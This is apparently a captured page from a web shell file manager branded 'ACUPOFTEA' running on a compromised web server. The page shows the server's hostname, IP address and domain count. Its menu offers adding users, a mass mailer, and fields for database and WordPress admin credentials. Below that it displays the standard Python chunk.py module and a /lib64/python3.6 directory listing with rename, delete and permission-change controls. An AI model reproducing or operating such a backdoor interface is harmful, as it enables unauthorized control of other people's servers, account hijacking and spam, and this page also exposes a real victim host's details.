System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
chunk.py
"""Simple class to read IFF chunks. An IFF chunk (used in formats such as AIFF, TIFF, RMFF (RealMedia File Format)) has the following structure: +----------------+ | ID (4 bytes) | +----------------+ | size (4 bytes) | +----------------+ | data | | ... | +----------------+ The ID is a 4-byte string which identifies the type of chunk. The size field (a 32-bit value, encoded using big-endian byte order) gives the size of the whole chunk, including the 8-byte header. Usually an IFF-type file consists of one or more chunks. The proposed usage of the Chunk class defined here is to instantiate an instance at the start of each chunk and read from the instance until it reaches the end, after which a new instance can be instantiated. At the end of the file, creating a new instance will fail with an EOFError exception. Usage: while True: try: chunk = Chunk(file) except EOFError: break chunktype = chunk.getname() while True: data = chunk.read(nbytes) if not data: pass # do something with data The interface is file-like. The implemented methods are: read, close, seek, tell, isatty. Extra methods are: skip() (called by close, skips to the end of the chunk), getname() (returns the name (ID) of the chunk) The __init__ method has one required argument, a file-like object (including a chunk instance), and one optional argument, a flag which specifies whether or not chunks are aligned on 2-byte boundaries. The default is 1, i.e. aligned. """ class Chunk: def __init__(self, file, align=True, bigendian=True, inclheader=False): import struct self.closed = False self.align = align # whether to align to word (2-byte) boundaries if bigendian: strflag = '>' else: strflag = '<' self.file = file self.chunkname = file.read(4) if len(self.chunkname) < 4: raise EOFError try: self.chunksize = struct.unpack_from(strflag+'L', file.read(4))[0] except struct.error: raise EOFError if inclheader: self.chunksize = self.chunksize - 8 # subtract header self.size_read = 0 try: self.offset = self.file.tell() except (AttributeError, OSError): self.seekable = False else: self.seekable = True def getname(self): """Return the name (ID) of the current chunk.""" return self.chunkname def getsize(self): """Return the size of the current chunk.""" return self.chunksize def close(self): if not self.closed: try: self.skip() finally: self.closed = True def isatty(self): if self.closed: raise ValueError("I/O operation on closed file") return False def seek(self, pos, whence=0): """Seek to specified position into the chunk. Default position is 0 (start of chunk). If the file is not seekable, this will result in an error. """ if self.closed: raise ValueError("I/O operation on closed file") if not self.seekable: raise OSError("cannot seek") if whence == 1: pos = pos + self.size_read elif whence == 2: pos = pos + self.chunksize if pos < 0 or pos > self.chunksize: raise RuntimeError self.file.seek(self.offset + pos, 0) self.size_read = pos def tell(self): if self.closed: raise ValueError("I/O operation on closed file") return self.size_read def read(self, size=-1): """Read at most size bytes from the chunk. If size is omitted or negative, read until the end of the chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.size_read >= self.chunksize: return b'' if size < 0: size = self.chunksize - self.size_read if size > self.chunksize - self.size_read: size = self.chunksize - self.size_read data = self.file.read(size) self.size_read = self.size_read + len(data) if self.size_read == self.chunksize and \ self.align and \ (self.chunksize & 1): dummy = self.file.read(1) self.size_read = self.size_read + len(dummy) return data def skip(self): """Skip the rest of the chunk. If you are not interested in the contents of the chunk, this method should be called so that the file points to the start of the next chunk. """ if self.closed: raise ValueError("I/O operation on closed file") if self.seekable: try: n = self.chunksize - self.size_read # maybe fix alignment if self.align and (self.chunksize & 1): n = n + 1 self.file.seek(n, 1) self.size_read = self.size_read + n return except OSError: pass while self.size_read < self.chunksize: n = min(8192, self.chunksize - self.size_read) dummy = self.read(n) if not dummy: raise EOFError
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
asyncio
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
collections
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
concurrent
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
config-3.6m-x86_64-linux-gnu
DIR
-
drwxr-xr-x
2025-08-28 10:58:34
ctypes
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
curses
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
dbm
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
distutils
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
email
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
encodings
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
ensurepip
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
html
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
http
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
importlib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
json
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib-dynload
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib2to3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
logging
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
multiprocessing
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
pydoc_data
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
site-packages
DIR
-
drwxr-xr-x
2025-10-21 10:57:26
sqlite3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
test
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
unittest
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
urllib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
venv
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
wsgiref
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xml
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xmlrpc
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__future__.py
text/plain
4.73 KB
-rw-r--r--
2018-12-23 09:37:14
__phello__.foo.py
text/plain
64 B
-rw-r--r--
2018-12-23 09:37:14
_bootlocale.py
text/plain
1.27 KB
-rw-r--r--
2018-12-23 09:37:14
_collections_abc.py
text/x-python
25.77 KB
-rw-r--r--
2018-12-23 09:37:14
_compat_pickle.py
text/plain
8.54 KB
-rw-r--r--
2018-12-23 09:37:14
_compression.py
text/plain
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
_dummy_thread.py
text/plain
5 KB
-rw-r--r--
2018-12-23 09:37:14
_markupbase.py
text/plain
14.26 KB
-rw-r--r--
2018-12-23 09:37:14
_osx_support.py
text/plain
18.69 KB
-rw-r--r--
2018-12-23 09:37:14
_pydecimal.py
text/x-python
224.83 KB
-rw-r--r--
2018-12-23 09:37:14
_pyio.py
text/x-python
86.03 KB
-rw-r--r--
2018-12-23 09:37:14
_sitebuiltins.py
text/plain
3.04 KB
-rw-r--r--
2018-12-23 09:37:14
_strptime.py
text/x-python
24.17 KB
-rw-r--r--
2018-12-23 09:37:14
_sysconfigdata_dm_linux_x86_64-linux-gnu.py
text/plain
29.48 KB
-rw-r--r--
2025-08-26 09:00:17
_sysconfigdata_m_linux_x86_64-linux-gnu.py
text/plain
29.66 KB
-rw-r--r--
2025-08-26 09:06:58
_threading_local.py
text/x-python
7.04 KB
-rw-r--r--
2018-12-23 09:37:14
_weakrefset.py
text/x-python
5.57 KB
-rw-r--r--
2018-12-23 09:37:14
abc.py
text/x-python
8.52 KB
-rw-r--r--
2018-12-23 09:37:14
aifc.py
text/x-python
31.69 KB
-rw-r--r--
2018-12-23 09:37:14
antigravity.py
text/x-python
477 B
-rw-r--r--
2018-12-23 09:37:14
argparse.py
text/x-python
88.25 KB
-rw-r--r--
2018-12-23 09:37:14
ast.py
text/x-python
11.88 KB
-rw-r--r--
2018-12-23 09:37:14
asynchat.py
text/x-python
11.06 KB
-rw-r--r--
2018-12-23 09:37:14
asyncore.py
text/x-python
19.69 KB
-rw-r--r--
2018-12-23 09:37:14
base64.py
text/plain
19.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
bdb.py
text/x-python
23 KB
-rw-r--r--
2018-12-23 09:37:14
binhex.py
text/plain
13.63 KB
-rw-r--r--
2018-12-23 09:37:14
bisect.py
text/plain
2.53 KB
-rw-r--r--
2018-12-23 09:37:14
bz2.py
text/x-python
12.19 KB
-rw-r--r--
2018-12-23 09:37:14
cProfile.py
text/plain
5.25 KB
-rwxr-xr-x
2018-12-23 09:37:14
calendar.py
text/x-python
22.67 KB
-rw-r--r--
2018-12-23 09:37:14
cgi.py
text/plain
36.35 KB
-rwxr-xr-x
2025-08-26 08:58:55
cgitb.py
text/plain
11.74 KB
-rw-r--r--
2018-12-23 09:37:14
chunk.py
text/plain
5.3 KB
-rw-r--r--
2018-12-23 09:37:14
cmd.py
text/plain
14.51 KB
-rw-r--r--
2018-12-23 09:37:14
code.py
text/x-python
10.37 KB
-rw-r--r--
2018-12-23 09:37:14
codecs.py
text/plain
35.43 KB
-rw-r--r--
2018-12-23 09:37:14
codeop.py
text/x-python
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
colorsys.py
text/plain
3.97 KB
-rw-r--r--
2018-12-23 09:37:14
compileall.py
text/x-python
11.84 KB
-rw-r--r--
2018-12-23 09:37:14
configparser.py
text/x-python
52.34 KB
-rw-r--r--
2018-12-23 09:37:14
contextlib.py
text/x-python
12.85 KB
-rw-r--r--
2018-12-23 09:37:14
copy.py
text/x-python
8.61 KB
-rw-r--r--
2018-12-23 09:37:14
copyreg.py
text/plain
6.84 KB
-rw-r--r--
2018-12-23 09:37:14
crypt.py
text/x-python
1.82 KB
-rw-r--r--
2018-12-23 09:37:14
csv.py
text/x-python
15.8 KB
-rw-r--r--
2018-12-23 09:37:14
datetime.py
text/plain
80.11 KB
-rw-r--r--
2018-12-23 09:37:14
decimal.py
text/x-python
320 B
-rw-r--r--
2018-12-23 09:37:14
difflib.py
text/x-python
82.4 KB
-rw-r--r--
2018-12-23 09:37:14
dis.py
text/x-python
17.71 KB
-rw-r--r--
2018-12-23 09:37:14
doctest.py
text/x-python
101.94 KB
-rw-r--r--
2018-12-23 09:37:14
dummy_threading.py
text/x-python
2.75 KB
-rw-r--r--
2018-12-23 09:37:14
enum.py
text/x-python
32.82 KB
-rw-r--r--
2018-12-23 09:37:14
filecmp.py
text/x-python
9.6 KB
-rw-r--r--
2018-12-23 09:37:14
fileinput.py
text/plain
14.13 KB
-rw-r--r--
2018-12-23 09:37:14
fnmatch.py
text/plain
3.09 KB
-rw-r--r--
2018-12-23 09:37:14
formatter.py
text/plain
14.79 KB
-rw-r--r--
2018-12-23 09:37:14
fractions.py
text/x-python
23.08 KB
-rw-r--r--
2018-12-23 09:37:14
ftplib.py
text/x-python
34.78 KB
-rw-r--r--
2025-08-26 08:58:55
functools.py
text/x-python
30.61 KB
-rw-r--r--
2018-12-23 09:37:14
genericpath.py
text/plain
4.91 KB
-rw-r--r--
2025-08-26 08:58:55
getopt.py
text/plain
7.31 KB
-rw-r--r--
2018-12-23 09:37:14
getpass.py
text/plain
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
gettext.py
text/x-python
21.03 KB
-rw-r--r--
2018-12-23 09:37:14
glob.py
text/plain
5.51 KB
-rw-r--r--
2018-12-23 09:37:14
gzip.py
text/plain
19.86 KB
-rw-r--r--
2018-12-23 09:37:14
hashlib.py
text/x-python
8.59 KB
-rw-r--r--
2025-08-26 08:58:55
heapq.py
text/plain
22.39 KB
-rw-r--r--
2018-12-23 09:37:14
hmac.py
text/x-python
6.23 KB
-rw-r--r--
2025-08-26 08:58:55
imaplib.py
text/x-python
52.05 KB
-rw-r--r--
2018-12-23 09:37:14
imghdr.py
text/x-python
3.71 KB
-rw-r--r--
2018-12-23 09:37:14
imp.py
text/x-python
10.42 KB
-rw-r--r--
2018-12-23 09:37:14
inspect.py
text/x-python
114.22 KB
-rw-r--r--
2018-12-23 09:37:14
io.py
text/x-python
3.43 KB
-rw-r--r--
2018-12-23 09:37:14
ipaddress.py
text/x-python
75.99 KB
-rw-r--r--
2025-08-26 08:58:55
keyword.py
text/plain
2.17 KB
-rwxr-xr-x
2018-12-23 09:37:14
linecache.py
text/plain
5.19 KB
-rw-r--r--
2018-12-23 09:37:14
locale.py
text/x-python
75.49 KB
-rw-r--r--
2018-12-23 09:37:14
lzma.py
text/x-python
12.68 KB
-rw-r--r--
2018-12-23 09:37:14
macpath.py
text/x-python
5.83 KB
-rw-r--r--
2018-12-23 09:37:14
macurl2path.py
text/plain
2.67 KB
-rw-r--r--
2018-12-23 09:37:14
mailbox.py
text/plain
76.78 KB
-rw-r--r--
2018-12-23 09:37:14
mailcap.py
text/plain
8.85 KB
-rw-r--r--
2025-08-26 08:58:55
mimetypes.py
text/plain
20.55 KB
-rw-r--r--
2018-12-23 09:37:14
modulefinder.py
text/plain
22.49 KB
-rw-r--r--
2018-12-23 09:37:14
netrc.py
text/plain
5.55 KB
-rw-r--r--
2018-12-23 09:37:14
nntplib.py
text/x-python
42.07 KB
-rw-r--r--
2018-12-23 09:37:14
ntpath.py
text/x-python
22.55 KB
-rw-r--r--
2018-12-23 09:37:14
nturl2path.py
text/plain
2.39 KB
-rw-r--r--
2018-12-23 09:37:14
numbers.py
text/x-python
10 KB
-rw-r--r--
2018-12-23 09:37:14
opcode.py
text/x-python
5.69 KB
-rw-r--r--
2018-12-23 09:37:14
operator.py
text/x-python
10.61 KB
-rw-r--r--
2018-12-23 09:37:14
optparse.py
text/plain
58.96 KB
-rw-r--r--
2018-12-23 09:37:14
os.py
text/x-python
36.65 KB
-rw-r--r--
2018-12-23 09:37:14
pathlib.py
text/x-python
45.15 KB
-rw-r--r--
2025-08-26 08:58:55
pdb.py
text/plain
59.88 KB
-rwxr-xr-x
2018-12-23 09:37:14
pickle.py
text/x-python
54.39 KB
-rw-r--r--
2018-12-23 09:37:14
pickletools.py
text/troff
89.62 KB
-rw-r--r--
2018-12-23 09:37:14
pipes.py
text/x-python
8.71 KB
-rw-r--r--
2018-12-23 09:37:14
pkgutil.py
text/x-python
20.82 KB
-rw-r--r--
2018-12-23 09:37:14
platform.py
text/plain
46.11 KB
-rwxr-xr-x
2025-08-26 08:58:55
plistlib.py
text/x-python
31.53 KB
-rw-r--r--
2025-08-26 08:58:55
poplib.py
text/plain
14.61 KB
-rw-r--r--
2018-12-23 09:37:14
posixpath.py
text/x-python
15.94 KB
-rw-r--r--
2025-08-26 08:58:55
pprint.py
text/x-python
20.37 KB
-rw-r--r--
2018-12-23 09:37:14
profile.py
text/plain
21.51 KB
-rwxr-xr-x
2018-12-23 09:37:14
pstats.py
text/x-python
25.94 KB
-rw-r--r--
2018-12-23 09:37:14
pty.py
text/x-python
4.65 KB
-rw-r--r--
2018-12-23 09:37:14
py_compile.py
text/plain
7.01 KB
-rw-r--r--
2018-12-23 09:37:14
pyclbr.py
text/x-python
13.24 KB
-rw-r--r--
2018-12-23 09:37:14
pydoc.py
text/x-python
101.08 KB
-rw-r--r--
2025-08-26 09:08:09
queue.py
text/x-python
8.57 KB
-rw-r--r--
2018-12-23 09:37:14
quopri.py
text/plain
7.09 KB
-rwxr-xr-x
2018-12-23 09:37:14
random.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
re.py
text/x-python
15.19 KB
-rw-r--r--
2018-12-23 09:37:14
reprlib.py
text/x-python
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
rlcompleter.py
text/plain
6.93 KB
-rw-r--r--
2018-12-23 09:37:14
runpy.py
text/x-python
11.68 KB
-rw-r--r--
2018-12-23 09:37:14
sched.py
text/x-python
6.36 KB
-rw-r--r--
2018-12-23 09:37:14
secrets.py
text/x-python
1.99 KB
-rw-r--r--
2018-12-23 09:37:14
selectors.py
text/x-python
18.98 KB
-rw-r--r--
2018-12-23 09:37:14
shelve.py
text/x-python
8.32 KB
-rw-r--r--
2018-12-23 09:37:14
shlex.py
text/x-python
12.65 KB
-rw-r--r--
2018-12-23 09:37:14
shutil.py
text/plain
39.87 KB
-rw-r--r--
2025-08-26 08:58:55
signal.py
text/x-python
2.07 KB
-rw-r--r--
2018-12-23 09:37:14
site.py
text/plain
20.77 KB
-rw-r--r--
2025-08-26 08:58:55
smtpd.py
text/plain
33.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
smtplib.py
text/plain
43.18 KB
-rwxr-xr-x
2018-12-23 09:37:14
sndhdr.py
text/x-python
6.92 KB
-rw-r--r--
2018-12-23 09:37:14
socket.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
socketserver.py
text/x-python
26.38 KB
-rw-r--r--
2018-12-23 09:37:14
sre_compile.py
text/x-python
18.88 KB
-rw-r--r--
2018-12-23 09:37:14
sre_constants.py
text/x-python
6.66 KB
-rw-r--r--
2018-12-23 09:37:14
sre_parse.py
text/x-python
35.68 KB
-rw-r--r--
2018-12-23 09:37:14
ssl.py
text/x-python
43.47 KB
-rw-r--r--
2025-08-26 08:58:55
stat.py
text/plain
4.92 KB
-rw-r--r--
2018-12-23 09:37:14
statistics.py
text/x-python
20.19 KB
-rw-r--r--
2018-12-23 09:37:14
string.py
text/x-python
11.52 KB
-rw-r--r--
2018-12-23 09:37:14
stringprep.py
text/x-python
12.61 KB
-rw-r--r--
2018-12-23 09:37:14
struct.py
text/x-python
257 B
-rw-r--r--
2018-12-23 09:37:14
subprocess.py
text/x-python
60.88 KB
-rw-r--r--
2018-12-23 09:37:14
sunau.py
text/x-python
17.67 KB
-rw-r--r--
2018-12-23 09:37:14
symbol.py
text/plain
2.07 KB
-rwxr-xr-x
2018-12-23 09:37:14
symtable.py
text/x-python
7.11 KB
-rw-r--r--
2018-12-23 09:37:14
sysconfig.py
text/x-python
24.29 KB
-rw-r--r--
2025-08-26 09:08:08
tabnanny.py
text/plain
11.14 KB
-rwxr-xr-x
2018-12-23 09:37:14
tarfile.py
text/plain
109.02 KB
-rwxr-xr-x
2025-08-26 08:58:55
telnetlib.py
text/x-python
22.59 KB
-rw-r--r--
2018-12-23 09:37:14
tempfile.py
text/x-python
27.41 KB
-rw-r--r--
2025-08-26 08:58:55
textwrap.py
text/plain
19.1 KB
-rw-r--r--
2018-12-23 09:37:14
this.py
text/plain
1003 B
-rw-r--r--
2018-12-23 09:37:14
threading.py
text/x-python
48.96 KB
-rw-r--r--
2025-08-26 08:58:55
timeit.py
text/plain
13.03 KB
-rwxr-xr-x
2018-12-23 09:37:14
token.py
text/plain
3 KB
-rw-r--r--
2018-12-23 09:37:14
tokenize.py
text/x-python
28.8 KB
-rw-r--r--
2018-12-23 09:37:14
trace.py
text/plain
28.06 KB
-rwxr-xr-x
2018-12-23 09:37:14
traceback.py
text/plain
22.91 KB
-rw-r--r--
2018-12-23 09:37:14
tracemalloc.py
text/x-python
16.27 KB
-rw-r--r--
2018-12-23 09:37:14
tty.py
text/x-python
879 B
-rw-r--r--
2018-12-23 09:37:14
types.py
text/plain
8.66 KB
-rw-r--r--
2018-12-23 09:37:14
typing.py
text/x-python
78.39 KB
-rw-r--r--
2018-12-23 09:37:14
uu.py
text/plain
6.6 KB
-rwxr-xr-x
2018-12-23 09:37:14
uuid.py
text/x-c++
23.46 KB
-rw-r--r--
2025-08-26 08:58:55
warnings.py
text/plain
18.05 KB
-rw-r--r--
2018-12-23 09:37:14
wave.py
text/x-python
17.29 KB
-rw-r--r--
2018-12-23 09:37:14
weakref.py
text/x-python
19.99 KB
-rw-r--r--
2018-12-23 09:37:14
webbrowser.py
text/plain
21.26 KB
-rwxr-xr-x
2018-12-23 09:37:14
xdrlib.py
text/x-python
5.77 KB
-rw-r--r--
2018-12-23 09:37:14
zipapp.py
text/x-python
6.99 KB
-rw-r--r--
2018-12-23 09:37:14
zipfile.py
text/plain
78.05 KB
-rw-r--r--
2025-08-26 08:58:55
~ ACUPOFTEA - mail.ontime-ae.com